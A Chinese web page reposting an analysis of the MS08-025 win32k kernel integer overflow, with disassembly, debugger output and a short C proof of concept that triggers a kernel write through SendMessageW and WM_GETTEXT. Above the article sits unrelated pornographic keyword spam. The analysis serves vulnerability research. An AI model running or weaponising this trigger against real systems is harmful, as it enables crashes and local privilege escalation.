日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
ms08025內(nèi)核漏洞深度分析

漏洞對于系統(tǒng)用戶來說并不陌生,幾乎是所有的系統(tǒng)和軟件都會有漏洞產(chǎn)生。我們幾乎就是在填補漏洞和發(fā)現(xiàn)新漏洞中使用系統(tǒng)的。ms08025漏洞是一個可被攻擊者利用的漏洞,本篇文章分析了ms08025漏洞補丁,下面我們就從NtUserfnOUTSTRING 函數(shù)中的問題來展開我們的分析。

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
.text:BF86FB04
.text:BF86FB04 var_24  = dword ptr -24h
.text:BF86FB04 var_20  = dword ptr -20h
.text:BF86FB04 UserBuffer  = dword ptr -1Ch
.text:BF86FB04 ms_exc  = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0   = dword ptr  8
.text:BF86FB04 arg_4   = dword ptr  0Ch
.text:BF86FB04 arg_8   = dword ptr  10h
.text:BF86FB04 Address = dword ptr  14h
.text:BF86FB04 arg_10  = dword ptr  18h
.text:BF86FB04 arg_14  = dword ptr  1Ch
.text:BF86FB04 arg_18  = dword ptr  20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push14h
.text:BF86FB06 pushoffset unk_BF98D250
.text:BF86FB0B call__SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or  eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8]  -> esi = 緩沖區(qū)長度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx  -> 如果是 ansi 方式就直接進行檢查

否則需要計算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax]<- 注意這里,問題就在這

此時 eax = unicode字符串的長度,
<- 當(dāng) eax = 0x80000000 的時候 eax + eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空間大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:   ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 pushebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 pusheax ; Length <- 由于 eax = 0,所以ProbeForWrite被繞過
.text:BF86FB57 pushesi ; Address
.text:BF86FB58 callds:ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff   jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510   mov [ebp+0x10],eax
bf80a1ba ebf1 jmpwin32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514   mov eax,[ebp+0x14]
bf80a1bf f6400780 testbyte ptr [eax+0x7],0x80
bf80a1c3 8b4008   mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000   mov byte ptr [eax],0x0
bf80a1cb e951f4ffff   jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910  mov [eax],dx<- 在這里,對前面?zhèn)魅氲闹羔樳M行了2個字節(jié)的寫操作,寫入的數(shù)據(jù)為0
bf80a1d3 e949f4ffff   jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push0x0
bf80a1da 6a02 push0x2
bf80a1dc ff7638   pushdword ptr [esi+0x38]
bf80a1df e8d1690200   callwin32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff testedi,edi
bf80a1e8 0f8433f4ffff jewin32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710   lea esi,[edi+0x10]

那么怎么觸發(fā)ms08025漏洞呢,我又分析了user32.dll 和 win32k!NtUserMessageCall,發(fā)現(xiàn)觸發(fā)這個漏洞很簡單,只需要調(diào)用 SendMessageW 發(fā)送WM_GETTEXT 消息就能夠觸發(fā)了,下面是poc代碼(注,改代碼運行后由于在內(nèi)核寫了未映射的內(nèi)存,會直接藍(lán)屏,要改成可用的exploit,可以參考我以前的exploit)

 
 
 
  1. #include 
  2. #include 
  3. int main(int argc,char *argv[])
  4. {
  5. DWORDdwHookAddress = 0x80000000;
  6. printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
  7. printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );
  8. SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
  9. return 0;
  10. }

網(wǎng)頁標(biāo)題:ms08025內(nèi)核漏洞深度分析
網(wǎng)站鏈接:http://www.5511xx.com/article/dhhedpc.html